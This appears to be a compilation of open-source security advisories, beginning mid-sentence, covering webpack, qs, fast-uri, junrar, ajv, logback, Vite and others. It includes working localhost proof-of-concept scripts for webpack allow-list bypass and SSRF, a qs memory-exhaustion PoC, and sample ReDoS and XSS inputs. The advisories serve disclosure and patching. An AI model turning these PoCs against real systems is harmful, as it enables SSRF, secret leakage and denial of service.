trusted host never share a jar - Supply a custom CookieStore whose add(Uri, Cookie) rejects cookies whose Domain is not domain-matched by the request host.
Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.
Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, Realm.Builder generates the HTTP Digest client nonce with ThreadLocalRandom rather than a cryptographically secure random source. Digest relies on an unpredictable cnonce to resist chosen-plaintext and credential precomputation attacks, so an observer able to infer generator state can reduce the protection of the authentication exchange. This issue is fixed in versions 3.0.12 and 2.16.1.
Junrar is an open source Java RAR archive library. Prior to version 7.6.1, LocalFolderExtractor in src/main/java/com/github/junrar/LocalFolderExtractor.java can create directories outside the intended extraction root when processing a crafted archive entry. LocalFolderExtractor.createFile() validates only the final canonical file path, while LocalFolderExtractor.makeFile() creates intermediate path segments with unchecked mkdir() calls. An entry can therefore make the final path resolve inside the destination while causing intermediate directory creation outside it, enabling filesystem pollution or file-versus-directory squatting that can make later security-sensitive writes fail. The demonstrated impact is directory creation, not unconditional arbitrary file-content write. This issue is fixed in version 7.6.1.
### Impact `fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not. For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same. Applications that serialize or normalize a relative reference with `reference: 'suffix'` and then treat the result as a URI can turn inert input into a live `javascript:`, `data:`, or `vbscript:` URL (a cross-site scripting vector), and `equal()` can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications that use the non-default `reference: 'suffix'` option. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not use the `reference: 'suffix'` option on untrusted input. If suffix output is required, percent-encode a colon in the first path segment of the result before treating it as a URI.
### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache. ### Details In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`. Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs. **Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache. <img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const url = require("url"); const allowedPort = 9000; const internalPort = 9100; const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`; const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log(`[internal] 200 /secret.js served (secret=${secret})`); return; } res.statusCode = 404; res.end("not found"); }); // Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true); if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault; // Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log(`[allowed] blocked redirect to: ${to}`); return; } res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log(`[allowed] 302 /redirect.js -> ${to}`); return; } res.statusCode = 404; res.end("not found"); }); console.log(`\nServer running:`); console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`); console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`); })(); ``` #### 3) Create attacker.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json"); const allowedPort = 9000; const internalPort = 9100; const allowedBase = `http://127.0.0.1:${allowedPort}/`; const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`; const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`; async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } } async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; } const fmtBool = b => (b ? "✅" : "❌"); (async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const secret = m ? m[0] : null; console.log("\n[ATTACKER RESULT]"); console.log(`- webpack version: ${webpackPkg.version}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`); console.log(`- imported URL (allowed only): ${entryUrl}`); console.log(`- temp dir: ${tmp}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log(`- bundle: ${bundlePath}`); if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`); return; } const lockHit = await fileContains(lockfile, secret); let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false; const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret); console.log(`\n- extracted secret marker from bundle: ${secret}`); console.log("\n[SECURITY SUMMARY]"); console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`); console.log(`- Internal target (SSRF-like): ${internalTarget}`); console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`); console.log(`- ACTUAL: internal content treated as module and bundled`); console.log("\n[EVIDENCE CHECKLIST]"); console.log(`- bundle contains secret: ${fmtBool(true)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(`- ${f}`); if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed). ### Impact Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled). Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can: trigger network requests from the build machine to internal-only services (SSRF behavior), cause content from outside the allow-list to be bundled into build outputs, and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
## Summary `LocalFolderExtractor` validates only the final canonical file path before extraction. However, `makeFile()` creates intermediate directories one path segment at a time without checking whether each created directory remains inside the destination folder. A malicious RAR entry can make the final file path resolve inside the extraction destination, while causing intermediate `mkdir()` calls to create attacker-chosen directories outside the extraction root. This is an extraction root escape via unchecked intermediate directory creation. The default impact is directory creation outside the intended destination, not unconditional arbitrary file content write. ## Affected Code - `src/main/java/com/github/junrar/LocalFolderExtractor.java` - `createFile()` checks only the final canonical path. - `makeFile()` calls `dir.mkdir()` for each intermediate segment without containment checks. Relevant code flow: ```java private File createFile(final FileHeader fh, final File destination) throws IOException { String name = invariantSeparatorsPathString(fh.getFileName()); File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath() + File.separator)) { throw new IllegalStateException(...); } if (!f.exists()) { f = makeFile(destination, name); } return f; } private File makeFile(final File destination, final String name) throws IOException { final String[] dirs = name.split("/"); String path = ""; for (int i = 0; i < dirs.length - 1; i++) { path = path + File.separator + dirs[i]; File dir = new File(destination, path); dir.mkdir(); } path = path + File.separator + dirs[dirs.length - 1]; final File f = new File(destination, path); f.createNewFile(); return f; } ``` ## Impact An attacker who can supply a malicious RAR archive can create directories outside the intended extraction directory. This violates the expected extraction boundary and can be used for filesystem pollution or file-vs-directory squatting. For example, an attacker can create a directory at a path where a later security-sensitive file is expected, causing future writes to that path to fail.
### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache. Reproduced on: - webpack version: **5.104.0** - Node version: **v18.19.1** ### Details **Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`. Example crafted URL: - `http://127.0.0.1:9000@127.0.0.1:9100/secret.js` If the allow-list is `["http://127.0.0.1:9000"]`, then: - Raw string check: `crafted.startsWith("http://127.0.0.1:9000")` → **true** - URL parsing (WHAT `new URL()` will contact): `origin` → `http://127.0.0.1:9100` (host/port after `@`) As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`. **Evidence from reproduction:** - Server logs showed the internal-only endpoint being fetched: - `[internal] 200 /secret.js served (...)` (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the **bundle** - the internal secret marker was present in the **buildHttp cache** <img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const ALLOWED_PORT = 9000; // allowlisted-looking host const INTERNAL_PORT = 9100; // actual target if bypass succeeds const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `// internal-only\n` + `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWED_PORT, (req, res) => { console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`); }); // Internal-only service (SSRF-like target) await listen(INTERNAL_PORT, (req, res) => { if (req.url === "/secret.js") { console.log(`[internal] 200 /secret.js served (secret=${secret})`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log(`[internal] 404 ${req.method} ${req.url}`); res.statusCode = 404; res.end("not found"); }); console.log("\nServers up:"); console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`); console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`); })(); ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); function fmtBool(b) { return b ? "✅" : "❌"; } async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } } (async () => { const webpackVersion = require("webpack/package.json").version; const ALLOWED_PORT = 9000; const INTERNAL_PORT = 9100; // NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`; // Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNAL_PORT const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`; const parsed = new URL(crafted); const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; console.log("\n[ENV]"); console.log(`- webpack version: ${webpackVersion}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`); console.log("\n[CRAFTED URL]"); console.log(`- import specifier: ${crafted}`); console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`); console.log(`- WHAT URL() parses:`); console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`); console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`); console.log(` - hostname: ${parsed.hostname}`); console.log(` - port: ${parsed.port}`); console.log(` - origin: ${parsed.origin}`); console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`); const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const foundSecret = m ? m[0] : null; console.log("\n[RESULT]"); console.log(`- temp dir: ${tmp}`); console.log(`- bundle: ${bundlePath}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log("\n[SECURITY CHECK]"); console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`); if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret); const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } } console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected vs Actual Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed). Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache. ### Impact Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs. Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
### Impact The client nonce used in HTTP Digest authentication was generated from ThreadLocalRandom, a fast but non-cryptographic pseudorandom number generator. RFC 7616 section 3.3 requires the cnonce to be unpredictable, since it is part of what protects the Digest exchange against chosen-plaintext and precomputation attacks on the credentials. An attacker able to observe or influence enough of the generator's output could reduce the unpredictability the protocol depends on. NTLM (and, on the 3.x line, SCRAM) in this client already use SecureRandom for their own nonces; Digest did not. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The cnonce is now generated with SecureRandom, matching the other authentication schemes in the client. ### Workarounds None available from application code. ### Details Realm.Builder's cnonce generation seeded its bytes from ThreadLocalRandom.current() rather than a SecureRandom instance.
### Impact When body-parser is configured with an invalid `limit` option value, such as an unparseable string or `NaN`, `bytes.parse()` returns `null` and the request body size check is silently skipped. Applications that rely on `limit` as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. This issue affects applications that pass a programmatically computed or user-configurable value to the `limit` option without validating it first. ### Patches This issue is fixed in [body-parser@2.3.0](https://github.com/expressjs/body-parser/releases/tag/v2.3.0) and [body-parser@1.20.6](https://github.com/expressjs/body-parser/releases/tag/v1.20.6) via [#698](https://github.com/expressjs/body-parser/pull/698). After the fix, invalid `limit` values throw a clear error at parser construction time instead of silently disabling enforcement. `null` and `undefined` continue to fall back to the default limit (`100kb`). ### Workarounds Validate `limit` before passing it to body-parser. For example, parse the value with [`bytes.parse()`](https://github.com/visionmedia/bytes.js) at startup and reject any configuration where it returns `null` or a non-finite number. ### References - [#698](https://github.com/expressjs/body-parser/pull/698): fix PR - [bytes.js](https://github.com/visionmedia/bytes.js): limit parser
### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion. ### Suggested Fix Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes. **Current code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` **Fixed code:** ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { const splitArray = val.split(','); if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit if (options.throwOnLimitExceeded) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } else { // Optionally convert to object or truncate, per README return splitArray.slice(0, options.arrayLimit - currentArrayLength); } } return splitArray; } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.
### Impact `fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one. For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same. Applications that normalize attacker-supplied or user-supplied relative references and then resolve them, or use them as cache, deduplication, or authorization keys, can have a reference escape its intended directory and point at a different resource. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not normalize a relative reference before resolving it. Resolve it against the absolute base first, then normalize the absolute result.
on-headers is a node.js middleware for listening to when a response writes headers. A bug in on-headers versions `<1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()`. Users should upgrade to version 1.1.0 to receive a patch. Uses are strongly encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.
### Impact A bug in on-headers versions `< 1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()` ### Patches Users should upgrade to `1.1.0` ### Workarounds Uses are encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.
A cross-tenant isolation vulnerability was found in Grafana’s Correlations feature affecting legacy correlation records. Due to a backward compatibility condition allowing org_id = 0 records to be returned across organizations, a user with datasource management privileges could read and permanently delete legacy correlation data belonging to another organization. This issue affects correlations created prior to Grafana 10.2 and is fixed in >=11.6.11, >=12.0.9, >=12.1.6, and >=12.2.4. Thanks to Gyu-hyeok Lee (g2h) for reporting this vulnerability.
ajv (Another JSON Schema Validator) before 8.18.0 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., "^(a|a)*$") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation. This issue is also fixed in version 6.14.0.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive.
The public dashboard deletion endpoint does not enforce organization isolation, allowing an Org Admin in one organization to delete public dashboards belonging to a different organization by supplying the target dashboard's identifiers.
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
